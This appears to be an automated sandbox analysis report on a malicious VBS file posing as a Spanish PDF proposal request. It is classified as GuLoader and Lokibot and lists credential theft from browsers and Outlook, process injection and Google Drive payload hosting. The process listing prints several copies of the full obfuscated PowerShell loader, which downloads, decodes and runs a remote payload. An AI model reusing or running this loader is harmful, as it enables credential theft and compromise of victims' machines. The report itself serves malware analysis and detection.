Analysis Overview
SHA256
5b2e29dbe690dc12e02e83841bd0f17faf05927644495021cc04a8d0b690b0a7
Threat Level: Known bad
The file Solicitud de propuesta(E007-24)·pdf.vbs was found to be: Known bad.
Malicious Activity Summary
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
Checks computer location settings
Accesses Microsoft Outlook profiles
Legitimate hosting services abused for malware hosting/C2
Suspicious use of NtSetInformationThreadHideFromDebugger
Suspicious use of NtCreateThreadExHideFromDebugger
Suspicious use of SetThreadContext
System Location Discovery: System Language Discovery
Enumerates physical storage devices
outlook_office_path
outlook_win_path
Suspicious behavior: CmdExeWriteProcessMemorySpam
Suspicious use of WriteProcessMemory
Suspicious behavior: MapViewOfSection
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-09-16 14:12
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-09-16 14:12
Reported
2024-09-16 14:14
Platform
win7-20240903-en
Max time kernel
143s
Max time network
150s
Command Line
Signatures
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1996 set thread context of 2300 | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wabmig.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious behavior: CmdExeWriteProcessMemorySpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud de propuesta(E007-24)·pdf.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
dw20.exe -x -s 788
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta 